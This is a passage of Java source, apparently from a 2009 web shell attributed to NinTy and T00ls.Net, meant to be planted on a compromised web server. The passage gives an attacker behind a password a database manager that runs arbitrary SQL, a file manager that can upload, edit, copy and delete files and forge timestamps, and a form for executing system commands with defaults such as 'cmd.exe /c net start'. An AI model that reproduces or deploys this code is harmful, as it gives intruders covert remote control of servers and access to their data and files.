  816. ins.get("dbc").invoke(request,response,JSession);
  817. }
  818. } catch (Exception e) {
  819. e.printStackTrace();
  820. throw e ;
  821. }
  822. }
  823. }
  824. //DBConnect
  825. private static class DbcInvoker extends DefaultInvoker {
  826. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  827. try {
  828. PrintWriter out = response.getWriter();
  829. String driver = request.getParameter("driver");
  830. String url = request.getParameter("url");
  831. String uid = request.getParameter("uid");
  832. String pwd = request.getParameter("pwd");
  833. String sql = request.getParameter("sql");
  834. String selectDb = request.getParameter("selectDb");
  835. if (selectDb == null)
  836. selectDb = JSession.getAttribute("selectDb").toString();
  837. else
  838. JSession.setAttribute("selectDb",selectDb);
  839. Object dbo = JSession.getAttribute(DBO);
  840. if (dbo == null || !((DBOperator)dbo).isValid()) {
  841. if (dbo != null)
  842. ((DBOperator)dbo).close();
  843. dbo = new DBOperator(driver,url,uid,pwd,true);
  844. } else {
  845. if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) {
  846. DBOperator oldDbo = (DBOperator)dbo;
  847. dbo = new DBOperator(driver,url,uid,pwd);
  848. if (!oldDbo.equals(dbo)) {
  849. ((DBOperator)oldDbo).close();
  850. ((DBOperator)dbo).connect();
  851. } else {
  852. dbo = oldDbo;
  853. }
  854. }
  855. }
  856. DBOperator Ddbo = (DBOperator)dbo;
  857. JSession.setAttribute(DBO,Ddbo);
  858. Util.outMsg(out,"Connect To DataBase Success!");
  859. out.println(" <script type=\"text/javascript\">"+
  860. " function changeurldriver(selectDb){"+
  861. " var form = document.forms[\"form1\"];"+
  862. " if (selectDb){"+
  863. " form.elements[\"db\"].selectedIndex = selectDb"+
  864. " }"+
  865. " var v = form.elements[\"db\"].value;"+
  866. " form.elements[\"url\"].value = v.split(\"`\")[1];"+
  867. " form.elements[\"driver\"].value = v.split(\"`\")[0];"+
  868. " form.elements[\"selectDb\"].value = form.elements[\"db\"].selectedIndex;"+
  869. " }"+
  870. " </script>");
  871. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  872. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  873. "<input type=\"hidden\" id=\"selectDb\" name=\"selectDb\" value=\""+selectDb+"\">"+
  874. "<h2>DataBase Manager &raquo;</h2>"+
  875. "<input id=\"action\" type=\"hidden\" name=\"o\" value=\"dbc\" />"+
  876. "<p>"+
  877. "Driver:"+
  878. " <input class=\"input\" name=\"driver\" value=\""+Ddbo.driver+"\" id=\"driver\" type=\"text\" size=\"35\" />"+
  879. "URL:"+
  880. "<input class=\"input\" name=\"url\" value=\""+Ddbo.url+"\" id=\"url\" value=\"\" type=\"text\" size=\"90\" />"+
  881. "UID:"+
  882. "<input class=\"input\" name=\"uid\" value=\""+Ddbo.uid+"\" id=\"uid\" value=\"\" type=\"text\" size=\"10\" />"+
  883. "PWD:"+
  884. "<input class=\"input\" name=\"pwd\" value=\""+Ddbo.pwd+"\" id=\"pwd\" value=\"\" type=\"text\" size=\"10\" />"+
  885. "DataBase:"+
  886. " <select onchange='changeurldriver()' class=\"input\" id=\"db\" name=\"db\" >"+
  887. " <option value='com.mysql.jdbc.Driver`jdbc:mysql://localhost:3306/mysql?useUnicode=true&characterEncoding=GBK'>Mysql</option>"+
  888. " <option value='oracle.jdbc.driver.OracleDriver`jdbc:oracle:thin:@dbhost:1521:ORA1'>Oracle</option>"+
  889. " <option value='com.microsoft.jdbc.sqlserver.SQLServerDriver`jdbc:microsoft:sqlserver://localhost:1433;DatabaseName=master'>Sql Server</option>"+
  890. " <option value='sun.jdbc.odbc.JdbcOdbcDriver`jdbc:odbc:Driver={Microsoft Access Driver (*.mdb)};DBQ=C:/ninty.mdb'>Access</option>"+
  891. " <option value=' ` '>Other</option>"+
  892. " </select>"+
  893. "<input class=\"bt\" name=\"connect\" id=\"connect\" value=\"Connect\" type=\"submit\" size=\"100\" />"+
  894. "</p>"+
  895. "</form><script>changeurldriver('"+selectDb+"')</script>");
  896. out.println("<form action=\""+SHELL_NAME+"\" method=\"POST\">"+
  897. "<p><input type=\"hidden\" name=\"selectDb\" value=\""+selectDb+"\"><input type=\"hidden\" name=\"o\" value=\"executesql\"><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Run SQL query/queries on database :</td></tr><tr><td><textarea name=\"sql\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">"+Util.htmlEncode(Util.getStr(sql))+"</textarea></td><td style=\"padding:0 5px;\"><input class=\"bt\" style=\"height:50px;\" name=\"submit\" type=\"submit\" value=\"Query\" /></td></tr></table></p></form></table>");
  898. } catch (Exception e) {
  899. //e.printStackTrace();
  900. throw e;
  901. }
  902. }
  903. }
  904. private static class ExecuteSQLInvoker extends DefaultInvoker{
  905. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  906. try {
  907. PrintWriter out = response.getWriter();
  908. String sql = request.getParameter("sql");
  909. String db = request.getParameter("selectDb");
  910. Object dbo = JSession.getAttribute(DBO);
  911. if (!Util.isEmpty(sql)) {
  912. if (dbo == null || !((DBOperator)dbo).isValid()) {
  913. response.sendRedirect(SHELL_NAME+"?o=vConn");
  914. } else {
  915. ins.get("dbc").invoke(request,response,JSession);
  916. Object obj = ((DBOperator)dbo).execute(sql);
  917. if (obj instanceof ResultSet) {
  918. ResultSet rs = (ResultSet)obj;
  919. ResultSetMetaData meta = rs.getMetaData();
  920. int colCount = meta.getColumnCount();
  921. out.println("<div style='padding:10px'><p><b>Query#0 : "+Util.htmlEncode(sql)+"</b></p>");
  922. out.println("<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\"><tr class=\"head\">");
  923. for (int i=1;i<=colCount;i++) {
  924. out.println("<td nowrap>"+meta.getColumnName(i)+"<br><span>"+meta.getColumnTypeName(i)+"</span></td>");
  925. }
  926. out.println("</tr>");
  927. Table tb = new Table();
  928. while(rs.next()) {
  929. Row r = new Row();
  930. for (int i = 1;i<=colCount;i++) {
  931. r.addColumn(new Column(rs.getString(i)));
  932. }
  933. tb.addRow(r);
  934. }
  935. out.println(tb.toString());
  936. out.println("</table></div>");
  937. rs.close();
  938. ((DBOperator)dbo).closeStmt();
  939. } else {
  940. out.println("<div style='margin:10px'><h2>affected rows : <b>"+obj+"</b></h2></div>");
  941. }
  942. }
  943. } else {
  944. ins.get("dbc").invoke(request,response,JSession);
  945. }
  946. } catch (Exception e) {
  947. e.printStackTrace();
  948. throw e ;
  949. }
  950. }
  951. }
  952. private static class VLoginInvoker extends DefaultInvoker {
  953. public boolean doBefore() {return false;}
  954. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  955. try {
  956. PrintWriter out = response.getWriter();
  957. out.println("<style type=\"text/css\">"+
  958. " input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}"+
  959. "a{font:11px Verdana;BACKGROUND: #FFFFFF;}"+
  960. " </style><form method=\"POST\" action=\""+SHELL_NAME+"\">"+
  961. " <p><span style=\"font:11px Verdana;\">Password: </span>"+
  962. " <input name=\"o\" type=\"hidden\" value=\"login\">"+
  963. " <input name=\"pw\" type=\"password\" size=\"20\">"+
  964. " <input type=\"hidden\" name=\"o\" value=\"login\">"+
  965. " <input type=\"submit\" value=\"Login\"><br/><br/>"+
  966. " "+
  967. "<span style=\"font:11px Verdana;\">Copyright &copy; 2009 NinTy </span><a href=\"http://www.forjj.com\" target=\"_blank\">www.Forjj.com</a></p>"+
  968. " </form>");
  969. } catch (Exception e) {
  970. e.printStackTrace();
  971. throw e ;
  972. }
  973. }
  974. }
  975. private static class LoginInvoker extends DefaultInvoker{
  976. public boolean doBefore() {return false;}
  977. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  978. try {
  979. String inputPw = request.getParameter("pw");
  980. if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) {
  981. response.sendRedirect(SHELL_NAME+"?o=vLogin");
  982. return;
  983. } else {
  984. JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw);
  985. response.sendRedirect(SHELL_NAME+"?o=index");
  986. return;
  987. }
  988. } catch (Exception e) {
  989. e.printStackTrace();
  990. throw e ;
  991. }
  992. }
  993. }
  994. private static class MyComparator implements Comparator<File>{
  995. public int compare(File f1,File f2) {
  996. if (f1 != null && f2!= null) {
  997. if (f1.isDirectory()) {
  998. if (f2.isDirectory()) {
  999. return f1.getName().compareTo(f2.getName());
  1000. } else {
  1001. return -1;
  1002. }
  1003. } else {
  1004. if (f2.isDirectory()) {
  1005. return 1;
  1006. } else {
  1007. return f1.getName().compareTo(f2.getName());
  1008. }
  1009. }
  1010. }
  1011. return 0;
  1012. }
  1013. }
  1014. private static class FileListInvoker extends DefaultInvoker {
  1015. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception {
  1016. try {
  1017. PrintWriter out = response.getWriter();
  1018. String path = request.getParameter("folder");
  1019. if (Util.isEmpty(path))
  1020. path = JSession.getAttribute(CURRENT_DIR).toString();
  1021.  
  1022. JSession.setAttribute(CURRENT_DIR,Util.convertPath(path));
  1023. File file = new File(path);
  1024. if (!file.exists()) {
  1025. throw new Exception(path+"Dont Exists !");
  1026. }
  1027. JSession.setAttribute(CURRENT_DIR,path);
  1028. File[] list = file.listFiles();
  1029. Arrays.sort(list,new MyComparator());
  1030. out.println("<div style='margin:10px'>");
  1031. String cr = null;
  1032. try {
  1033. cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3);
  1034. }catch(Exception e) {
  1035. cr = "/";
  1036. }
  1037. File currentRoot = new File(cr);
  1038. out.println("<h2>File Manager - Current disk &quot;"+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"&quot; total "+Util.getSize(currentRoot.getTotalSpace(),'G')+"</h2>");
  1039. out.println("<form action=\""+SHELL_NAME+"\" method=\"post\">"+
  1040. "<table width=\"98%\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\" style=\"margin:10px 0;\">"+
  1041. " <tr>"+
  1042. " <td nowrap>Current Directory <input type=\"hidden\" name=\"o\" value=\"filelist\"/></td>"+
  1043. " <td width=\"98%\"><input class=\"input\" name=\"folder\" value=\""+JSession.getAttribute(CURRENT_DIR)+"\" type=\"text\" style=\"width:100%;margin:0 8px;\"></td>"+
  1044. " <td nowrap><input class=\"bt\" value=\"GO\" type=\"submit\"></td>"+
  1045. " </tr>"+
  1046. "</table>"+
  1047. "</form>");
  1048. out.println("<table width=\"98%\" border=\"0\" cellpadding=\"4\" cellspacing=\"0\">"+
  1049. "<form action=\""+SHELL_NAME+"?o=upload\" method=\"POST\" enctype=\"multipart/form-data\"><tr class=\"alt1\"><td colspan=\"7\" style=\"padding:5px;\">"+
  1050. "<div style=\"float:right;\"><input class=\"input\" name=\"file\" value=\"\" type=\"file\" /> <input class=\"bt\" name=\"doupfile\" value=\"Upload\" type=\"submit\" /></div>"+
  1051. "<a href=\"javascript:new fso({path:'"+Util.convertPath(WEB_ROOT)+"'}).subdir()\">Web Root</a>"+
  1052. " | <a href=\"javascript:new fso({path:'"+Util.convertPath(SHELL_DIR)+"'}).subdir()\">Shell Directory</a>"+
  1053. " | <a href=\"javascript:new fso({}).mkdir()\">New Directory</a> | <a href=\"javascript:new fso({}).createFile()\">New File</a>"+
  1054. " | ");
  1055. File[] roots = file.listRoots();
  1056. for (int i = 0;i<roots.length;i++) {
  1057. File r = roots[i];
  1058. out.println("<a href=\"javascript:new fso({path:'"+Util.convertPath(r.getPath())+"'}).subdir();\">Disk("+Util.convertPath(r.getPath())+")</a>");
  1059. if (i != roots.length -1) {
  1060. out.println("|");
  1061. }
  1062. }
  1063. out.println("</td>"+
  1064. "</tr></form>"+
  1065. "<tr class=\"head\"><td>&nbsp;</td>"+
  1066. " <td>Name</td>"+
  1067. " <td width=\"16%\">Last Modified</td>"+
  1068. " <td width=\"10%\">Size</td>"+
  1069. " <td width=\"20%\">Read/Write/Execute</td>"+
  1070. " <td width=\"22%\">&nbsp;</td>"+
  1071. "</tr>");
  1072. if (file.getParent() != null) {
  1073. out.println("<tr class=alt1>"+
  1074. "<td align=\"center\"><font face=\"Wingdings 3\" size=4>=</font></td>"+
  1075. "<td nowrap colspan=\"5\"><a href=\"javascript:new fso({path:'"+Util.convertPath(file.getAbsolutePath())+"'}).parent()\">Goto Parent</a></td>"+
  1076. "</tr>");
  1077. }
  1078. int dircount = 0;
  1079. int filecount = 0;
  1080. for (File f:list) {
  1081. if (f.isDirectory()) {
  1082. dircount ++;
  1083. out.println("<tr class=\"alt2\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt2';\">"+
  1084. "<td width=\"2%\" nowrap><font face=\"wingdings\" size=\"3\">0</font></td>"+
  1085. "<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).subdir()\">"+f.getName()+"</a></td>"+
  1086. "<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
  1087. "<td nowrap>--</td>"+
  1088. "<td nowrap>"+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+"</td>"+
  1089. "<td nowrap><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).removedir()\">Del</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack</a></td>"+
  1090. "</tr>");
  1091. } else {
  1092. filecount++;
  1093. out.println("<tr class=\"alt1\" onMouseOver=\"this.className='focus';\" onMouseOut=\"this.className='alt1';\">"+
  1094. "<td width=\"2%\" nowrap><input type='checkbox' value='"+f.getName()+"'/></td>"+
  1095. "<td><a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">"+f.getName()+"</a></td>"+
  1096. "<td nowrap>"+Util.formatDate(f.lastModified())+"</td>"+
  1097. "<td nowrap>"+Util.getSize(f.length(),'B')+"</td>"+
  1098. "<td nowrap>"+
  1099. ""+f.canRead()+" / "+f.canWrite()+" / "+f.canExecute()+"</td>"+
  1100. "<td nowrap>"+
  1101. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEdit()\">Edit</a> | "+
  1102. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).down()\">Down</a> | "+
  1103. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).copy()\">Copy</a> | "+
  1104. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).move()\">Move</a> | "+
  1105. "<a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"'}).vEditProperty()\">Property</a>");
  1106. if (f.getName().endsWith(".zip")) {
  1107. out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).unpack()\">UnPack</a>");
  1108. } else if (f.getName().endsWith(".rar")) {
  1109. out.println(" | <a href=\"javascript:alert('Dont Support RAR,Please Use WINRAR');\">UnPack</a>");
  1110. } else {
  1111. out.println(" | <a href=\"javascript:new fso({path:'"+Util.convertPath(f.getAbsolutePath())+"',filename:'"+f.getName()+"'}).pack()\">Pack</a>");
  1112. }
  1113. out.println("</td>"+
  1114. "</tr>");
  1115. }
  1116. }
  1117. out.println("<tr class=\"alt2\"><td align=\"center\">&nbsp;</td>"+
  1118. " <td><a href=\"javascript:new fso({}).packBatch();\">Pack Selected</a> - <a href=\"javascript:new fso({}).deleteBatch();\">Delete Selected</a></td>"+
  1119. " <td colspan=\"4\" align=\"right\">"+dircount+" directories / "+filecount+" files</td></tr>"+
  1120. "</table>");
  1121. out.println("</div>");
  1122. } catch (Exception e) {
  1123. e.printStackTrace();
  1124. throw e;
  1125. }
  1126. }
  1127. }
  1128. private static class LogoutInvoker extends DefaultInvoker {
  1129. public boolean doBefore() {return false;}
  1130. public boolean doAfter() {return false;}
  1131. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1132. try {
  1133. Object dbo = JSession.getAttribute(DBO);
  1134. if (dbo != null)
  1135. ((DBOperator)dbo).close();
  1136. Object obj = JSession.getAttribute(PORT_MAP);
  1137. if (obj != null) {
  1138. ServerSocket s = (ServerSocket)obj;
  1139. s.close();
  1140. }
  1141. Object online = JSession.getAttribute(SHELL_ONLINE);
  1142. if (online != null)
  1143. ((OnLineProcess)online).stop();
  1144. JSession.invalidate();
  1145. response.sendRedirect(SHELL_NAME+"?o=vLogin");
  1146. } catch (Exception e) {
  1147. e.printStackTrace();
  1148. throw e ;
  1149. }
  1150. }
  1151. }
  1152. private static class UploadInvoker extends DefaultInvoker {
  1153. public boolean doBefore() {return false;}
  1154. public boolean doAfter() {return false;}
  1155. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1156. try {
  1157. UploadBean fileBean = new UploadBean();
  1158. response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString());
  1159. fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString());
  1160. fileBean.parseRequest(request);
  1161. JSession.setAttribute(MSG,"Upload File Success!");
  1162. response.sendRedirect(SHELL_NAME+"?o=index");
  1163. } catch (Exception e) {
  1164. e.printStackTrace();
  1165. throw e ;
  1166. }
  1167. }
  1168. }
  1169. private static class CopyInvoker extends DefaultInvoker {
  1170. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1171. try {
  1172. String src = request.getParameter("src");
  1173. String to = request.getParameter("to");
  1174. BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src)));
  1175. BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
  1176. byte[] d = new byte[1024];
  1177. int len = input.read(d);
  1178. while(len != -1) {
  1179. output.write(d,0,len);
  1180. len = input.read(d);
  1181. }
  1182. output.close();
  1183. input.close();
  1184. JSession.setAttribute(MSG,"Copy File Success!");
  1185. response.sendRedirect(SHELL_NAME+"?o=index");
  1186. } catch (Exception e) {
  1187. e.printStackTrace();
  1188. throw e ;
  1189. }
  1190. }
  1191. }
  1192. private static class BottomInvoker extends DefaultInvoker {
  1193. public boolean doBefore() {return false;}
  1194. public boolean doAfter() {return false;}
  1195. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1196. try {
  1197. response.getWriter().println("<div style=\"padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;\">Copyright (C) 2009 <a href=\"http://www.forjj.com\" target=\"_blank\">http://www.Forjj.com/</a>&nbsp;&nbsp;<a target=\"_blank\" href=\"http://www.t00ls.net/\">[T00ls.Net]</a> All Rights Reserved."+
  1198. "</div>");
  1199. } catch (Exception e) {
  1200. e.printStackTrace();
  1201. throw e ;
  1202. }
  1203. }
  1204. }
  1205. private static class VCreateFileInvoker extends DefaultInvoker {
  1206. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1207. try {
  1208. PrintWriter out = response.getWriter();
  1209. String path = request.getParameter("filepath");
  1210. File f = new File(path);
  1211. if (!f.isAbsolute()) {
  1212. String oldPath = path;
  1213. path = JSession.getAttribute(CURRENT_DIR).toString();
  1214. if (!path.endsWith("/"))
  1215. path+="/";
  1216. path+=oldPath;
  1217. f = new File(path);
  1218. f.createNewFile();
  1219. } else {
  1220. f.createNewFile();
  1221. }
  1222. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1223. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1224. "<h2>Create / Edit File &raquo;</h2>"+
  1225. "<input type='hidden' name='o' value='createFile'>"+
  1226. "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" /></p>"+
  1227. "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" ></textarea></p>"+
  1228. "<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
  1229. "</form>"+
  1230. "</td></tr></table>");
  1231. } catch (Exception e) {
  1232. e.printStackTrace();
  1233. throw e ;
  1234. }
  1235. }
  1236. }
  1237. private static class VEditInvoker extends DefaultInvoker {
  1238. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1239. try {
  1240. PrintWriter out = response.getWriter();
  1241. String path = request.getParameter("filepath");
  1242. File f = new File(path);
  1243. if (f.exists()) {
  1244. BufferedReader reader = new BufferedReader(new FileReader(f));
  1245. StringBuilder content = new StringBuilder();
  1246. String s = reader.readLine();
  1247. while (s != null) {
  1248. content.append(s+"\r\n");
  1249. s = reader.readLine();
  1250. }
  1251. reader.close();
  1252. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1253. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1254. "<h2>Create / Edit File &raquo;</h2>"+
  1255. "<input type='hidden' name='o' value='createFile'>"+
  1256. "<p>Current File (import new file name and new file)<br /><input class=\"input\" name=\"filepath\" id=\"editfilename\" value=\""+path+"\" type=\"text\" size=\"100\" /></p>"+
  1257. "<p>File Content<br /><textarea class=\"area\" id=\"filecontent\" name=\"filecontent\" cols=\"100\" rows=\"25\" >"+Util.htmlEncode(content.toString())+"</textarea></p>"+
  1258. "<p><input class=\"bt\" name=\"submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" type=\"button\" value=\"Back\" onclick=\"history.back()\"></p>"+
  1259. "</form>"+
  1260. "</td></tr></table>");
  1261. }
  1262. } catch (Exception e) {
  1263. e.printStackTrace();
  1264. throw e ;
  1265. }
  1266. }
  1267. }
  1268. private static class CreateFileInvoker extends DefaultInvoker {
  1269. public boolean doBefore(){return false;}
  1270. public boolean doAfter(){return false;}
  1271. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1272. try {
  1273. PrintWriter out = response.getWriter();
  1274. String path = request.getParameter("filepath");
  1275. String content = request.getParameter("filecontent");
  1276.  
  1277. BufferedWriter outs = new BufferedWriter(new FileWriter(new File(path)));
  1278. outs.write(content,0,content.length());
  1279. outs.close();
  1280. JSession.setAttribute(MSG,"Save File Success!");
  1281. response.sendRedirect(SHELL_NAME+"?o=index");
  1282. } catch (Exception e) {
  1283. e.printStackTrace();
  1284. throw e ;
  1285. }
  1286. }
  1287. }
  1288. private static class VEditPropertyInvoker extends DefaultInvoker {
  1289. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1290. try {
  1291. PrintWriter out = response.getWriter();
  1292. String filepath = request.getParameter("filepath");
  1293. File f = new File(filepath);
  1294. if (!f.exists())
  1295. return;
  1296. String read = f.canRead() ? "checked=\"checked\"" : "";
  1297. String write = f.canWrite() ? "checked=\"checked\"" : "";
  1298. String execute = f.canExecute() ? "checked=\"checked\"" : "";
  1299. Calendar cal = Calendar.getInstance();
  1300. cal.setTimeInMillis(f.lastModified());
  1301.  
  1302. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1303. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1304. "<h2>Set File Property &raquo;</h2>"+
  1305. "<p>Current file (fullpath)<br /><input class=\"input\" name=\"file\" id=\"file\" value=\""+request.getParameter("filepath")+"\" type=\"text\" size=\"120\" /></p>"+
  1306. "<input type=\"hidden\" name=\"o\" value=\"editProperty\"> "+
  1307. "<p>Read: "+
  1308. " <input type=\"checkbox\" "+read+" name=\"read\" id=\"checkbox\"> "+
  1309. " Write: "+
  1310. " <input type=\"checkbox\" "+write+" name=\"write\" id=\"checkbox2\"> "+
  1311. " Execute: "+
  1312. " <input type=\"checkbox\" "+execute+" name=\"execute\" id=\"checkbox3\">"+
  1313. "</p>"+
  1314. "<p>Instead &raquo;"+
  1315. "year:"+
  1316. "<input class=\"input\" name=\"year\" value="+cal.get(Calendar.YEAR)+" id=\"year\" type=\"text\" size=\"4\" />"+
  1317. "month:"+
  1318. "<input class=\"input\" name=\"month\" value="+(cal.get(Calendar.MONTH)+1)+" id=\"month\" type=\"text\" size=\"2\" />"+
  1319. "day:"+
  1320. "<input class=\"input\" name=\"date\" value="+cal.get(Calendar.DATE)+" id=\"date\" type=\"text\" size=\"2\" />"+
  1321. ""+
  1322. "hour:"+
  1323. "<input class=\"input\" name=\"hour\" value="+cal.get(Calendar.HOUR)+" id=\"hour\" type=\"text\" size=\"2\" />"+
  1324. "minute:"+
  1325. "<input class=\"input\" name=\"minute\" value="+cal.get(Calendar.MINUTE)+" id=\"minute\" type=\"text\" size=\"2\" />"+
  1326. "second:"+
  1327. "<input class=\"input\" name=\"second\" value="+cal.get(Calendar.SECOND)+" id=\"second\" type=\"text\" size=\"2\" />"+
  1328. "</p>"+
  1329. "<p><input class=\"bt\" name=\"submit\" value=\"Submit\" id=\"submit\" type=\"submit\" value=\"Submit\"> <input class=\"bt\" name=\"submit\" value=\"Back\" id=\"submit\" type=\"button\" onclick=\"history.back()\"></p>"+
  1330. "</form>"+
  1331. "</td></tr></table>");
  1332. } catch (Exception e) {
  1333. e.printStackTrace();
  1334. throw e ;
  1335. }
  1336. }
  1337. }
  1338. private static class EditPropertyInvoker extends DefaultInvoker {
  1339. public boolean doBefore(){return false;}
  1340. public boolean doAfter(){return false;}
  1341. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1342. try {
  1343. String f = request.getParameter("file");
  1344. File file = new File(f);
  1345. if (!file.exists())
  1346. return;
  1347. String read = request.getParameter("read");
  1348. String write = request.getParameter("write");
  1349. String execute = request.getParameter("execute");
  1350. String year = request.getParameter("year");
  1351. String month = request.getParameter("month");
  1352. String date = request.getParameter("date");
  1353. String hour = request.getParameter("hour");
  1354. String minute = request.getParameter("minute");
  1355. String second = request.getParameter("second");
  1356. if (Util.isEmpty(read)) {
  1357. file.setReadable(false);
  1358. } else {
  1359. file.setReadable(true);
  1360. }
  1361. if (Util.isEmpty(write)) {
  1362. file.setWritable(false);
  1363. } else {
  1364. file.setWritable(true);
  1365. }
  1366. if (Util.isEmpty(execute)) {
  1367. file.setExecutable(false);
  1368. } else {
  1369. file.setExecutable(true);
  1370. }
  1371. Calendar cal = Calendar.getInstance();
  1372. cal.set(Calendar.YEAR,Integer.parseInt(year));
  1373. cal.set(Calendar.MONTH,Integer.parseInt(month)-1);
  1374. cal.set(Calendar.DATE,Integer.parseInt(date));
  1375. cal.set(Calendar.HOUR,Integer.parseInt(hour));
  1376. cal.set(Calendar.MINUTE,Integer.parseInt(minute));
  1377. cal.set(Calendar.SECOND,Integer.parseInt(second));
  1378. if(file.setLastModified(cal.getTimeInMillis())){
  1379. JSession.setAttribute(MSG,"Reset File Property Success!");
  1380. } else {
  1381. JSession.setAttribute(MSG,"Reset File Property Failed!");
  1382. }
  1383. response.sendRedirect(SHELL_NAME+"?o=index");
  1384. } catch (Exception e) {
  1385. e.printStackTrace();
  1386. throw e ;
  1387. }
  1388. }
  1389. }
  1390. //VShell
  1391. private static class VsInvoker extends DefaultInvoker{
  1392. public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{
  1393. try {
  1394. PrintWriter out = response.getWriter();
  1395. String cmd = request.getParameter("command");
  1396. String program = request.getParameter("program");
  1397. if (cmd == null) cmd = "cmd.exe /c set";
  1398. if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt";
  1399. if (JSession.getAttribute(MSG)!=null) {
  1400. Util.outMsg(out,JSession.getAttribute(MSG).toString());
  1401. JSession.removeAttribute(MSG);
  1402. }
  1403. out.println("<table width=\"100%\" border=\"0\" cellpadding=\"15\" cellspacing=\"0\"><tr><td>"+
  1404. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1405. "<h2>Execute Program &raquo;</h2>"+
  1406. "<p>"+
  1407. "<input type=\"hidden\" name=\"o\" value=\"shell\">"+
  1408. "<input type=\"hidden\" name=\"type\" value=\"program\">"+
  1409. "Parameter<br /><input class=\"input\" name=\"program\" id=\"program\" value=\""+program+"\" type=\"text\" size=\"100\" />"+
  1410. "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
  1411. "</p>"+
  1412. "</form>"+
  1413. "<form name=\"form1\" id=\"form1\" action=\""+SHELL_NAME+"\" method=\"post\" >"+
  1414. "<h2>Execute Shell &raquo;</h2>"+
  1415. "<p>"+
  1416. "<input type=\"hidden\" name=\"o\" value=\"shell\">"+
  1417. "<input type=\"hidden\" name=\"type\" value=\"command\">"+
  1418. "Parameter<br /><input class=\"input\" name=\"command\" id=\"command\" value=\""+cmd+"\" type=\"text\" size=\"100\" />"+
  1419. "<input class=\"bt\" name=\"submit\" id=\"submit\" value=\"Execute\" type=\"submit\" size=\"100\" />"+
  1420. "</p>"+
  1421. "</form>"+
  1422. "</td>"+
  1423. "</tr></table>");
  1424. } catch (Exception e) {
  1425. e.printStackTrace();
  1426. throw e ;
  1427. }
  1428. }
  1429. }
